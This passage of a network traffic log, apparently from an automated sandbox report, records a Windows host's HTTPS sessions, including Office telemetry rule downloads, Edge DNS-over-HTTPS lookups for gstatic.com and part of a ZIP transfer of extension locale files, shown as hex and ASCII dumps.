2024-11-23 23:06:44 UTC	1390	IN	Data Raw: 8f 15 60 c1 98 b9 ab 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 Data Ascii: `cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6
2024-11-23 23:06:44 UTC	1390	IN	Data Raw: 3f a2 77 74 f9 39 14 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 Data Ascii: ?wt9o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/mes
2024-11-23 23:06:44 UTC	1390	IN	Data Raw: c1 c2 b3 df 74 6f 40 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 Data Ascii: to@Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:44 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:44 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: b6ecb1ee-501e-008f-3044-3c9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230644Z-15b8b599d88g5tp8hC1TEByx6w00000003mg000000006sbh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:44 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:44 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 2b57feed-101e-0028-5221-3c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230645Z-178bfbc474bq2pr7hC1NYCkfgg000000055g00000000hvnq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	49859	172.64.41.3	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 23:06:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 23:06:45 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 23:06:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e74cfc28f87c46d-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 23:06:45 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f5 00 04 8e fb 28 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	49863	162.159.61.3	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 23:06:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 23:06:45 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 23:06:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e74cfc2cad4424f-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 23:06:45 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f0 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49862	162.159.61.3	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 23:06:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 23:06:45 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 23:06:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e74cfc2c9467280-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 23:06:45 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f3 00 04 8e fa 50 23 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomP#)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49850	172.64.41.3	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 23:06:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 23:06:45 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 23:06:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e74cfc2ba267c82-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 23:06:45 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 21 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom!PC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49851	172.64.41.3	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 23:06:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 23:06:45 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 23:06:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e74cfc2ff5842b7-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 23:06:45 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 08 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49864	172.64.41.3	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 23:06:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 23:06:45 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 23:06:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e74cfc30df50f90-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 23:06:45 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 23 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom#A)

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:46 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:46 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 6b91e280-c01e-00a2-4f0a-3d2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230646Z-178bfbc474bw8bwphC1NYC38b400000004xg00000000cxw0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:46 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:46 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:46 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: ce4e00c6-401e-00a3-3516-3d8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230646Z-178bfbc474b9xljthC1NYCtw94000000051g0000000093ux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:46 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
